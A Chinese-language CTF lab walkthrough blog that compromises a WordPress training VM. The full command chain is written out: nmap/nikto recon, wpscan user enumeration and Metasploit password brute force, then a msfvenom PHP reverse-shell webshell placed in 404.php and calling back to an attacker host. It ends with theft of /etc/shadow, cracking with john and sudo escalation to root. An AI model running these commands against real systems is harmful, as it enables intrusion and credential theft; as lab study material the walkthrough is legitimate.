声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。
穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,知道全部情况验证完毕。若某个情况验证符合题目的全部条件,则为本问题的一个解;若全部情况验证后都不符合题目的全部条件,则本题无解。穷举法也称为枚举法。
web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。
靶场IP地址:192.168.31.61
扫描主机服务信息以及服务版本:
nmap -sV 192.168.31.61
快速扫描主机全部信息:
nmap -T4 -A -v 192.168.31.61
开放了http服务
可以使用浏览器打开http://ip:port/敏感页面,查看敏感信息,尝试找到可利用的位置
同时也可以使用nikto探测敏感信息:
nikto -host http://192.168.31.61
提示我们/secret/是一个敏感目录:
使用浏览器访问看一看:
点击login in尝试登陆,弹出如下界面:
那就得想办法登陆进去,如果使用暴力破解的话至少需要知道用户名吧
补充: 这时候会出现这么个问题,如果用的是域名访问可能会访问不了:
这时就需要在kali中编辑本地的host文件:
gedit /etc/hosts
将靶机的IP地址与站名都输进去;
保存,再重新访问即可
使用metasploit进行暴力破解:
首先得使用wpscan对目标站点的用户名进行枚举:
wpscan --url www.vtcsec.com/secret/ --enumerate u
发现用户名admin
那么接下来就使用metasploit破解用户名admin对应的密码:
msfconsole
msf5 > use auxiliary/scanner/http/wordpress_login_enum
msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.61
msf5 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt
msf5 auxiliary(scanner/http/wordpress_login_enum) > set username admin
msf5 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/
msf5 auxiliary(scanner/http/wordpress_login_enum) > run
破解成功:
使用这对账号和密码登陆服务器后台成功:
接下来还是老套路,上传webshell获取控制权:
先在攻击机制作webshell:
在kali linux终端输入如下代码:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.113 lport=4444 -f raw
会生成如下代码,注释符不要哦:
将复制下来的代码覆盖网站后台的404.php代码处并上传:
然后就是在攻击机端使用metasploit监听该webshell了:
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.31.113
msf5 exploit(multi/handler) > show options
查看结果如下:
启动监听:
msf5 exploit(multi/handler) > run
接下来使用浏览器来访问目标站点的404文件:
http://192.168.31.61/secret/wp-content/themes/twentyseventeen/404.php
发现返回shell成功:
使用sysinfo查看系统的信息,使用shell加载靶场的shell:
通过id查看当前用户,发现还不是root用户:
那怎么提升权限呢:
先exit回到meterpreter:
下载/etc/passwd和/etc/shadow:
meterpreter > download /etc/passwd
meterpreter > download /etc/shadow
然后回到kali linux的终端:
先ls一下查看是否下载成功
使用unshadow命令:
unshadow passwd shadow > cracked
然后ls一下,发现能找到cracked文件,重定向成功
破解一下靶机上存在的用户名和密码:
john cracked
发现了这么一对用户名和密码:
使用该用户名和密码进行提权:
在meterpreter中进入shell,并尝试登陆这个用户:
提示必须要在一个终端里操作:
老操作:
python -c "import pty;pty.spawn('/bin/bash')"
返回给我们一个终端的页面:
再进行提权,使用之前暴力破解得到的用户名和密码进行登录:
发现登陆成功,但还是不是root权限
输入:
sudo -l
并输入密码
然后获得可以执行的操作:
然后输入如下命令:
sudo bash
成功获得root权限:
本题结。